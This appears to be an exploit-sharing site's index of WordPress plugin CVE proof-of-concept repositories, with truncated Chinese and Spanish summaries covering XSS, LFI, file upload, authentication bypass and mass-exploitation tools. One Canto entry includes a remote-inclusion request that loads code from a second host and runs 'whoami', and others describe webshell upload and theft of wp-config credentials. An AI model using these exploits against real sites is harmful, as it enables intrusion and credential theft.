CVE-2026-13152

CVE-2026-13152：Custom Fields Account Registration For WooCommerce 1.4 中的未认证权限提升漏洞 -blue.svg 📖 公告概述 CVE-2026-13152 是一个影响 Custom Fields Account Registration For WooCommerce WordPress 插件（1.4 版本之前）的未认证权限提升漏洞，由安全研究员 Huynh Kien...

CVE-2026-9833

CVE-2026-9833 CVE ID: CVE-2026-9833 漏洞类型: 跨站脚本（XSS）– 反射型 XSS CWE: CWE-79 – 在网页生成期间对输入的错误中和（'跨站脚本'） 严重性: 高（CISA ADP CVSS v3.1: 7.1） 概述 CVE-2026-9833 影响 Tag Groups – Advanced Way to Display Your Taxonomy Terms WordPress 插件 2.2.0 之前的版本。 该漏洞的产生原因是插件的一个 AJAX 参数在未经正确转义或编码的情况下被反射到 HTML 响应中。因此，攻击者可以注入恶意...

wp-jobhunt-exploit

wp-jobhunt-exploit CVE-2018-19487、CVE-2018-19488，针对 WordPress wp-jobhunt 插件的漏洞利用工具 wp-jobhunt 插件是配合 JobCareer 主题使用的插件： https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636 （请参阅底部的更新日志） 针对 CVE-2018-19487 （AJAX 用户信息泄露）和 CVE-2018-19488 （AJAX 用户密码重置）的 Python 漏洞利用脚本，适用于...

CVE-2026-2002-poc

概述 Forminator Forms – Contact Form, Payment Form & Custom Form Builder 插件（WordPress）在所有版本中（包括 1.50.2）存在存储型跨站脚本漏洞，该漏洞通过 formname 参数触发，原因是输入清理和输出转义不足。这使得拥有管理员级别权限的认证攻击者能够在页面中注入任意 Web 脚本，当用户访问被注入的页面时脚本将执行。该插件允许管理员将表单管理权限授予较低级别的用户，因此订阅者等用户也有可能利用此漏洞。 根因 该根因需要对逻辑漏洞的敏锐意识： （位于文件 /fields/html.php 中的函数）...

CVE-2026-15282

CVE-2026-15282 — Instant Appointment 批量 RCE 利用工具 预认证 filegetcontents + fileputcontents → PHP Webshell 概述 CVE-2026-15282 是 Instant Appointment WordPress 插件（≤ 1.2）中的一个严重（CVSS 9.8）未认证任意文件上传漏洞。 addservicefront AJAX 动作通过 wpajaxnopriv 注册，允许未认证访问。该处理器直接将用户提供的 imageurl 和 imagename 传递给 filegetcontents 和...

wordpress-cve-2024-10924-exploit

WordPress CVE-2024-10924 漏洞利用 📌 概述 本仓库包含针对 CVE-2024-10924 的概念验证 PoC 漏洞利用程序，该漏洞存在于 Really Simple SSL WordPress 插件中，允许绕过双因素认证 2FA。攻击者可利用此漏洞以任意有效用户 ID 登录。 🚨 警告：此漏洞利用仅用于教育和研究目的。未经授权对非你拥有的系统进行使用是违法的。 🚀 漏洞利用使用说明 前提条件： 已安装 Python 3.x 目标 WordPress 网站使用了存在漏洞的“Really Simple SSL”版本 安装： Clone 仓库： | $ git clo...

CVE-2026-54806

WP Activity Log PHP 对象注入 CVE-2026-54806 PoC 📜 描述 CVE-2026-54806 是 Melapress 开发的 WP Activity Log WordPress 插件（wp-security-audit-log）中一个严重的（CVSS 9.8）未认证 PHP 对象注入漏洞。未认证的攻击者可以在任何触发日志事件（例如登录失败）的请求中，通过 User-Agent 头注入序列化的 PHP 对象。注入的载荷会存储在数据库中，当管理员访问 WordPress 仪表盘时会被无限制地反序列化，从而实现盲远程代码执行（不会向攻击者返回任何输出）。...

CVE-2026-56011-Lab

CVE-2026-56011 - MapPress Maps for WordPress 未认证 XSS iframe 地图渲染漏洞 执行摘要 此仓库包含一个本地 Docker 实验室，用于复现和验证 CVE-2026-56011，这是一个影响 MapPress Maps for WordPress 的未认证跨站脚本（XSS）漏洞。 MapPress Maps for WordPress 是一个用于在 WordPress 页面和文章中渲染地图的插件。漏洞行为影响可通过 mappress=embed 请求参数访问的 iframe 地图渲染路径。 此实验室比较两个 MapPress 版本：...

fubucker

Fubucker | CVE-2022-1386 - Fusion Builder 自动批量检查CVE-2022-1386漏洞的工具 - Fusion Builder install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh 安装 JQ Linux : 命令 apt-get install jq -y Windows : 对于WSL，只需像Linux一样安装；对于GitBash，你可以执行以下命令 命令 curl -L -o C:/Program...

CVE-2026-9290

CVE-2026-9290 — WP User Manager LFI 到 RCE 漏洞利用 通过 'tab' 参数实现未授权路径遍历 → 本地文件包含 概述 CVE-2026-9290 是 WordPress 插件 WP User Manager – User Profile Builder & Membership（≤ 2.9.17）中存在的一个高严重性（CVSS 7.5）未授权本地文件包含（LFI）漏洞。 wpumgetactiveprofiletab 函数将 tab 查询参数直接传递给 Gamajo 模板加载器，未进行任何白名单校验。tab 值中的路径遍历序列使未授权攻击者能够通...

CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS

CVE-2026-40791: 一个预订时段到管理员XSS 我在WordPress WP Time Slots Booking Form插件中发现了一个未认证存储型XSS。公开的预订提交控制了存储时间段值的部分。插件随后在管理员预订订单页面输出该值时没有进行转义。 技巧很简单：插件按字面空格拆分提交的预约字符串，但HTML将制表符视为标签名和属性之间的空白。所以 8: 作为时段值通过了插件解析器，然后在管理员打开预订列表时变成了实际的标记。...

CVE-2026-81780-Hash-Form

CVE-2026-81780-Hash-Form CVE-2026-81780 — Hash Form 远程代码执行漏洞 漏洞详情 WordPress Hash Form 插件（≤ 1.4.2）存在未授权文件上传漏洞。该插件允许任意文件上传，且未进行适当的身份验证或文件类型校验，从而导致远程代码执行（RCE）。 漏洞利用链 步骤 操作 1 攻击者通过 readme.txt 检测 Hash Form 插件 2 通过预览表单（hashformpreview）提取 ajaxnounce 3 向 hashformfileuploadaction 发送携带 PHP 载荷的 POST 请求 4 以...

CVE-2025-60188-Atarim-Plugin-Exploit

CVE-2025-60188-Atarim-Plugin-Exploit CVE-2025-60188: Atarim插件通过HMAC伪造实现身份验证绕过 概述 本仓库包含CVE-2025-60188的概念验证（PoC）和技术分析，这是在Atarim WordPress插件中发现的一个严重漏洞。该漏洞允许未经身份验证的用户绕过安全措施并访问敏感系统信息。 技术描述 该漏洞源于基于HMAC的身份验证实现不安全。应用程序使用可预测或泄露的内部ID（siteid）作为签署管理AJAX操作请求的密钥。 漏洞流程： 信息泄露：siteid通过公开的REST API端点暴露。...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordPress 插件 Canto ，就可以远程执行代码。 root@kitploit: http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami 所有这些已经在 Python 利用工具 CVE-202...

CVE-2024-31351_wordpress_exploit

WordPress - Copymatic – AI 内容写作与生成器 = 1.6 - 未认证任意文件上传 CVE-2024-31351 Copymatic Copymatic – AI 内容写作与生成器存在危险类型文件无限制上传漏洞。此漏洞影响 Copymatic – AI 内容写作与生成器：从 n/a 到 1.6 版本。 欲获取更多漏洞利用程序及独家内容，请通过 Telegram 联系我 @KtN1990。 使用方法 运行此漏洞利用程序需要安装 Python 3 并准备网站列表，然后执行： root@kitploit: python3 exploit.py -l list.txt -...

CVE-2024-10924-Wordpress-Docker

CVE-2024-10924 : Wordpress Really Simple Security 在 Docker 中的认证绕过漏洞 描述 用于 WordPress 的 Really Simple Security 插件（Free、Pro 和 Pro Multisite），版本 9.0.0 到 9.1.1.1，存在一个认证绕过漏洞。 该问题源于双因素 REST API 操作中使用的 checkloginandgetuser 函数对错误处理不当。 因此，如果启用了“双因素认证”功能（默认禁用），未经认证的攻击者可能以任何现有用户（包括管理员）的身份登录。 易受攻击的 docker...

CVE-2026-0594-ListSiteContributors-Plugin-Exploit

CVE-2026-0594-ListSiteContributors-Plugin-Exploit 🛡️ 描述 CVE-2026-0594 是 List Site Contributors WordPress 插件中发现的一个严重反射型跨站脚本 XSS 漏洞。此利用程序通过 WordPress REST API wp-json 自动发现易受攻击的端点，并通过 alpha 参数执行特制载荷。 通过利用此漏洞，攻击者可以： 绕过身份验证 ：通过 HMAC 伪造和会话 Cookie 窃取。 窃取敏感数据 （PII）和系统配置。 在受害者浏览器上下文中执行任意 JavaScript 。 🚀 功能...

CVE-2025-51529

CVE-2025-51529：WordPress Cookies 与内容安全策略插件 DoS 漏洞 jonkastonka Cookies 与内容安全策略插件 2.29 及之前版本的 AJAX 端点功能中存在不正确的访问控制，远程攻击者可通过向 wpajaxnoprivcacspinsertconsentdata 端点执行无限制的数据库写入操作，导致拒绝服务（数据库服务器资源耗尽）。 该漏洞存在于 cacspinsertconsentdata 函数中，该函数通过 WordPress 的 AJAX 端点（wp-admin/admin-ajax.php）暴露，且无需身份验证。该插件使用了...

wp-mail-masta-exploit

WordPress Plugin Mail Masta 1.0 - CVE-2016-10956 漏洞利用 此脚本利用 WordPress Plugin Mail Masta 1.0 中的 CVE-2016-10956 漏洞，从 wp-config.php 中提取凭据。 使用方法 1. 克隆仓库： root@kitploit: git clone https://github.com/Hakchoven/wp-mail-masta-exploit.git 2. 进入目录： root@kitploit: cd wp-mail-masta-exploit/ 3. 使用目标 URL...

CVE-2026-5118

🔥 CVE-2026-5118 Divi Form Builder Un campo oculto. Un valor modificado. Acceso completo a todo el sitio web. 🧨 ¿Qué puede hacer el atacante? 🔬 Análisis de Vulnerabilidad Ubicación de la Vulnerabilidad root@kitploit: includes/shared/handlers/FormSubmissionHandler.php → createuser Código Vulnerable...